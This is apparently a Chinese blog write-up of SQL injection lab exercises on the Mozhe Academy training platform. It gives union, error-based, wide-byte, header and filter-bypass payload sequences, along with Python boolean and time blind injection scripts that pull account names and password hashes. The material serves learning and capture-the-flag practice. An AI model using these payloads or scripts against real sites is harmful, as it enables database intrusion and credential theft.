• OWASP-TOP10漏洞-注入漏洞


    😋大家好,我是YAy_17,是一枚爱好网安的小白,正在自学ing。

    本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️

    ⭐️此后如竟没有炬火,我便是唯一的光。⭐️

    目录

    靶场练习

    SQL手工注入漏洞测试(MySQL数据库)

    X-Forwarded-For注入漏洞实战

    SQL注入漏洞测试(布尔盲注)

    SQL注入漏洞测试(报错盲注)

    SQL过滤字符后手工注入漏洞测试(第1题)

    SQL过滤字符后手工注入漏洞测试(第2题)

    SQL过滤字符后手工注入漏洞测试(第3题)

    SQL注入漏洞测试(宽字节)

    SQL注入漏洞测试(时间盲注)

    SQL手工注入漏洞测试(MySQL数据库-字符型)

     SQL过滤字符后手工绕过漏洞测试(万能口令)

    SQL注入漏洞测试(delete注入)

    SQL注入漏洞测试(HTTP头注入)


    靶场练习

    以墨者学院的sql注入题目为例,进行学习。

    墨者学院_专注于网络安全人才培养

    SQL手工注入漏洞测试(MySQL数据库)

    来到首页;

    打开“关于平台停机维护的通知”链接;

    判断注入的类型,判断结果为数字型注入;便开始注入数据库名,表名,列名,以及最后的账号和密码;

    1. #判断注入类型 -> 数字型注入
    2. id=1 and 1=1--+#正常回显
    3. id=1 and 1=2--+#不正常回显
    4. #判断列数
    5. id=1 order by 4--+#回显正常
    6. id=1 order by 5--+#回显不正常
    7. #判断回显点
    8. id=-1 union select 1,2,3,4--+
    9. #判断当前数据库名
    10. id=-1 union select 1,database(),3,4--+
    11. #判断表名
    12. id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'),3,4--+
    13. #判断列名
    14. id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='StormGroup_member'),3,4--+
    15. #注入账号和密码
    16. id=-1 union select 1,(select group_concat(name,0x3a,password) from StormGroup_member),3,4--+

     最终得到了两个账号和密码,其中的密码是经过了md5加密的,通过解密得到两个密码的明文,进行登录(第二个账号成功登录后台拿到flag)

    X-Forwarded-For注入漏洞实战

    来到界面如上,通过brupsuite抓包;添加上x-forwarded-for头部;

    判断是字符型注入还是数字型注入,显然这应该是字符型的注入。

    union select order by都无法使用,尝试利用报错函数:extratcvalue()以及updatexml()函数(一句话原理:路径不合法就报错,构造错误路径格式让信息通过错误提示回显出来

    payload:爆破数据库名

    1. X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
    2. #同样该题还可以使用extractvalue()函数
    3. X-Forwarded-For: 127.0.0.1' and extractvalue(null,concat(0x7e,(select database()),0x7e)) and '1'='1

    接下来爆破表名:

    payload:

    X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='webcalendar'),0x7e),1) and '1'='1

    爆破列名:

    payload:

    X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e),1) and '1'='1

    爆破账号和密码:

    X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from user),0x7e),1) and '1'='1

     之后便是登录账号密码,拿到flag。

    SQL注入漏洞测试(布尔盲注)

    通过布尔盲注得到后台账号,从而获得key。

    来到首页,提示我们通过账号密码进行登录;

    观察到存在“关于平台停机的通知”链接,打开:

    先判断是数字型注入还是字符型注入。结果是数字型的注入。接下来就是判断列数。payload:id=1 order by 4#回显正常,id=1 order by 5#无回显;

    接下来就是通过脚本判断数据库名、表名、列名以及账号和密码;

    1. '''SQL注入漏洞测试(布尔盲注)'''
    2. import requests
    3. url = 'http://124.70.71.251:40767/new_list.php?id=1 and 1='
    4. def get_database():
    5. database_name = ''
    6. for i in range(1,20):
    7. for j in range(32,127):
    8. payload = f'if(ascii(substr(database(),{i},1))={j},1,0)--+'
    9. final_payload = url + payload
    10. result = requests.get(final_payload)
    11. if '关于平台停机维护的通知' in result.text:
    12. database_name+=chr(j)
    13. print(database_name)
    14. break
    15. def get_table():
    16. table_name = ''
    17. for i in range(1,20):
    18. for j in range(32,127):
    19. payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),{i},1))={j},1,0)--+"
    20. final_payload = url + payload
    21. result = requests.get(final_payload)
    22. if '关于平台停机维护的通知' in result.text:
    23. table_name+=chr(j)
    24. print(table_name)
    25. break
    26. def get_column():
    27. column_name = ''
    28. for i in range(1,30):
    29. for j in range(32,127):
    30. payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='notice'),{i},1))={j},1,0)--+"
    31. final_payload = url + payload
    32. result = requests.get(final_payload)
    33. if '关于平台停机维护的通知' in result.text:
    34. column_name+=chr(j)
    35. print(column_name)
    36. break
    37. def get_final_data():
    38. up_data = ''
    39. for i in range(1,100):
    40. for j in range(32,127):
    41. payload = f"if(ascii(substr((select group_concat(name,0x3a,password) from member),{i},1))={j},1,0)--+"
    42. final_payload = url + payload
    43. result = requests.get(final_payload)
    44. if '关于平台停机维护的通知' in result.text:
    45. up_data+=chr(j)
    46. print(up_data)
    47. break
    48. if __name__ == '__main__':
    49. #get_database()
    50. #get_table()
    51. #get_column()
    52. get_final_data()

    最终得到了两个账号都是mozhe,密码经过了md5加密需要我们解密,第一个账号密码无法登录,使用第二个账号和密码进行登录,登陆成功拿到flag。

    SQL注入漏洞测试(报错盲注)

    同样来到“关于平台停机维护的通知”界面,判断是数字型注入还是字符型的注入->判断结果为字符型注入;接下来就是判断存在的列数;

    发现该题过滤了union,可以使用大小写绕过;

    接下来还是常规注入:(得到两个账号密码,md5解密,使用第二个账号密码进行登录,拿到flag)

    1. #判断数据库名
    2. id=-1' UNioN select 1,database(),3,4--+
    3. #判断表名
    4. id=-1' UNioN select 1,(select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),3,4--+
    5. #判断列名
    6. id=-1' UNioN select 1,(select group_concat(column_name) from information_schema.columns where table_name='member'),3,4--+
    7. #判断账号和密码
    8. id=-1' UNioN select 1,(select group_concat(name,0x3a,password) from member),3,4--+

    SQL过滤字符后手工注入漏洞测试(第1题)

    来到首页还是打开“关于平台停机的通知”链接。

    题目提示我们需要掌握的目标:

    1. 掌握SQL注入原理;
    2. 了解手工注入的方法;
    3. 了解字符串的URL加解密;
    4. 了解SQL注入常用注释字符;
    5. 了解SQL查询中连接符和判断符的区别;

    测试之后发现过滤了=、空格、--+,还需要将url地址进行16进制的加密。判断是数字型的注入;

    测试payload:id=1/**/and/**/1/**/like/**/1#(like的作用相当于=号,这里还可以使用<>)此外需要将payload进行16进制的加密。

    正常回显,将payload进行修改为 id=1/**/and/**/1/**/like/**/2#再进行加密,回显不正常。

    在线加密网站:http://www.jsons.cn/urlcode/

    判断列数。payload:1/**/order/**/by/**/4#(一切测试语句均要经过url十六进制的加密)正常回显,1/**/order/**/by/**/5#回显不正常

    接下来就是判断回显点;

    payload:-1/**/union/**/select/**/1,2,3,4# 发现2、3回显

    判断当前的数据库名;payload:-1/**/union/**/select/**/1,database(),3,4#

    接下来就是去判断表名、列名;

    1. #爆破表名
    2. -1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'mozhe_discuz_stormgroup'),3,4#
    3. #爆破列名
    4. -1/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'stormgroup_member'),3,4#

    接下来便是查找后台的账号和密码等信息,进行登录;

    payload:-1/**/union/**/select/**/1,(select/**/group_concat(name,0x3a,password)/**/from/**/stormgroup_member),3,4#

    得到了三个账号和密码,分别进行md5解密,进行登录。直到用第三个账号密码进行登录的时候才成功登录拿到flag。 

    SQL过滤字符后手工注入漏洞测试(第2题)

    该题过滤了空格,可以使用/**/来替代空格

    SQL过滤字符后手工注入漏洞测试(第3题)

    拿到题目,先来测试是数字型注入还是字符型的注入;

    发现是字符型的注入;通过单引号进行闭合即可;之后便是判断存在的列数;

    这里便出现了问题,通过order by 语句进行测试,order by 8--+回显不正常,order by 7--+回显正常

    之后便是查询数据库名、表名、列名、以及最终的数据;

    id=-1' union select 1,2,database(),4,5,6,7--+

    在查询数据库名的时候,得到的查询结果无法复制,同时也无法查看网页的源代码,便通过审查元素,找到了数据库名,同时还发现了查询的语句,如下:

    1. #查询表名
    2. id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='min_ju4t_mel1i'),4,5,6,7--+
    3. #查询列名
    4. id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='(@dmin9_td4b}'),4,5,6,7--+
    5. #查询账号以及密码
    6. id=-1' union select 1,2,(select group_concat(username,0x3a,password) from `(@dmin9_td4b}`),4,5,6,7--+

    这里在查询账号和密码的时候,由于表名中存在着特殊的字符,导致我们在闭合语句的时候出现错误,因此,需要通过反引号将我们的表名括起来;

    通过mozhe3的账号和密码进行登录;

    SQL注入漏洞测试(宽字节)

    前言:在mysql中,用于转义的函数有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。

    拿到本题目,题目提示我们是宽字节注入,先来试试再id=1后面加上%df%27

    拿到了报错的信息,果然再单引号的前面自动增加了\ 

    1. payload:
    2. id=1%df%27 and 1=1--+ #正常回显
    3. id=1%df%27 and 1=2--+ #不正常回显

    接着就是常规操作,注入当前的数据库名,表名,列名,以及最终登录的账号和密码。

    1. #判断存在的列数
    2. id=1%df%27 order by 5--+ #正常回显
    3. id=1%df%27 order by 6--+ #不正常回显
    4. #判断回显点
    5. id=-1%df%27 union select 1,2,3,4,5--+
    6. #注入当前数据库名----利用报错函数updatexml
    7. id=1%df%27 and updatexml(1,concat(0x7e,(database()),0x7e),1)--+
    8. #注入表名
    9. id=1%df%27 and updatexml(1,concat(0x7e,((select group_concat(table_name) from information_schema.tables where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570)),0x7e),1)--+
    10. #注入列名
    11. id=1%df%27 and updatexml(1,concat(0x7e,((select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572)),0x7e),1)--+
    12. #注入最终的账号和密码
    13. id=1%df%27 and updatexml(1,concat(0x7e,((select group_concat(name,0x3a,password) from stormgroup_member)),0x7e),1)--+

     注意在注入表名和列名的时候,使用到的数据库名和表名要经过ASCII HEX编码。需要注意的是updatexml只能输出32位的字符,因此我们需要用到的截取函数substring()

    最终获取账号密码的payload如下:

    1. #注入最终的账号和密码
    2. id=1%df%27 and updatexml(1,concat(0x7e,((select group_concat(name,0x3a,password) from stormgroup_member)),0x7e),1)--+
    3. id=1%df%27 and updatexml(1,concat(0x7e,(substring((select group_concat(name,0x3a,password) from stormgroup_member),32)),0x7e),1)--+
    4. id=1%df%27 and updatexml(1,concat(0x7e,(substring((select group_concat(name,0x3a,password) from stormgroup_member),64)),0x7e),1)--+

    最终将我们获取到的账号密码进行拼接,通过md5解密,使用第二个账号密码进行登录拿到flag。

    SQL注入漏洞测试(时间盲注)

    来到首页,如下:

    点击进入墨者的任性网页:

    之后便开始测试,是数字型的注入还是字符型的注入;->数字型注入

    题目告诉我们是时间盲注嘛,那就直接上脚本了; 

    1. import time
    2. import requests
    3. url = 'http://124.70.71.251:45720/flag.php?type=1 and '
    4. def get_database():
    5. database_name = ''
    6. for i in range(1,20):
    7. for j in range(32,127):
    8. time_start = time.time()
    9. payload = f'1=if(ascii(substr(database(),{i},1))={j},sleep(3),0)--+'
    10. final_payload = url+payload
    11. result = requests.get(final_payload)
    12. time_end = time.time()
    13. if time_end-time_start>=3:
    14. database_name+=chr(j)
    15. print(database_name)
    16. break
    17. def get_table_name():
    18. table_name = ''
    19. for i in range(1,30):
    20. for j in range(32,127):
    21. time_start = time.time()
    22. payload = f"1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'),{i},1))={j},sleep(3),0)--+"
    23. final_payload = url+payload
    24. result = requests.get(final_payload)
    25. time_end = time.time()
    26. if time_end-time_start>=3:
    27. table_name+=chr(j)
    28. print(table_name)
    29. break
    30. def get_column_name():
    31. column_name = ''
    32. for i in range(1,10):
    33. for j in range(32,127):
    34. time_start = time.time()
    35. payload = f"1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{i},1))={j},sleep(3),0)--+"
    36. final_payload = url+payload
    37. result = requests.get(final_payload)
    38. time_end = time.time()
    39. if time_end-time_start>=3:
    40. column_name+=chr(j)
    41. print(column_name)
    42. break
    43. def get_flag():
    44. flag = ''
    45. for i in range(1,10):
    46. for j in range(32,127):
    47. time_start = time.time()
    48. payload = f"1=if(ascii(substr((select group_concat(flag) from flag),{i},1))={j},sleep(3),0)--+"
    49. final_payload = url+payload
    50. result = requests.get(final_payload)
    51. time_end = time.time()
    52. if time_end-time_start>=3:
    53. flag+=chr(j)
    54. print(flag)
    55. break
    56. if __name__ =='__main__':
    57. #get_database()
    58. #get_table_name()
    59. #get_column_name()
    60. get_flag()

    拿到了flag之后,便回到首页去验证我们的flag是否正确,验证成功弹给我们最终的答案;

    SQL手工注入漏洞测试(MySQL数据库-字符型)

    进入“平台停机公告首页”:

    判断是单引号闭合还是双引号的闭合方式:->单引号闭合

    1. #判断存在的列数
    2. id=tingjigonggao' order by 4--+ #正常回显
    3. id=tingjigonggao' order by 5--+ #不正常回显
    4. #判断回显点
    5. id=-tingjigonggao' union select 1,2,3,4--+
    6. #判断数据库名
    7. id=-tingjigonggao' union select 1,database(),3,4--+
    8. #判断表名
    9. id=-tingjigonggao' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='mozhe_discuz_stormgroup'),3,4--+
    10. #判断列名
    11. id=-tingjigonggao' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='stormgroup_member'),3,4--+
    12. #注入最终的账号和密码
    13. id=-tingjigonggao' union select 1,(select group_concat(name,0x3a,password) from stormgroup_member),3,4--+

     SQL过滤字符后手工绕过漏洞测试(万能口令)

    来到首页提示默认管理员的账号为admin,需要我们登陆成功才可以拿到flag,还提示我们注意看报错。使用万能口令admin' and 1=1--+

    报错出现了'a','a'),所以提示输入admin','a','a')# ,密码随便输入即可拿到flag。

    SQL注入漏洞测试(delete注入)

    留言之后点击删除,发现了url中的id;加上单引号之后发现报错,可以使用报错函数来进行注入;

    1. #爆破数据库
    2. id=67 and updatexml(1,concat(0x7e,database(),0x7e),1)--+
    3. #爆破表名
    4. id=67 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikaqiu'),0x7e),1)--+
    5. #爆破列名
    6. id=67 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='message'),0x7e),1)--+
    7. #爆破key
    8. id=67 and updatexml(1,concat(0x7e,(select group_concat(`key`) from message),0x7e),1)--+
    9. id=1 and updatexml(1,concat(0x7e,substring((select `key` from message),32,1),0x7e),1)--+

    由于key是保留字段,所以要加上``包裹;

    SQL注入漏洞测试(HTTP头注入)

    解题方向提示:HTTP头部(HOST注入)

    进入页面来抓包,由于题目提示我们HOST注入,那就直接在HOST字段开始测试:

    报错,之后便是常规的注入,这里存在着一个疑惑,就是为什么用or 1=1 来判断呢? 

    1. payload:
    2. order by 4 //正常回显
    3. order by 5 //不正常回显
    4. union select 1,2,3,4 //2 3 4 是回显点
    5. union select 1,database(),3,4
    6. union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=''),3,4
    7. union select 1,(select group_concat(column_name) from information_schema.columns where table_name=''),3,4
    8. union select 1,(select group_concat(flag) from flag),3,4

  • 相关阅读:
    k8s named Kubernetes
    AWS认证SAA-C03每日一题
    python -opencv 边缘检测
    【docker】容器跟宿主机、其他容器通信
    四舍五入(c++基础)
    redis之如何存储时间序列数据
    Linux——常用命令(2)
    Mac M系列芯片如何重新安装系统
    【软件分析第12讲-学习笔记】可满足性模理论 Satisfiability Modulo Theories
    [scratch][列表]全国青少年软件编程等级考试-四级-班级成绩处理
  • 原文地址:https://blog.csdn.net/weixin_44770698/article/details/126714386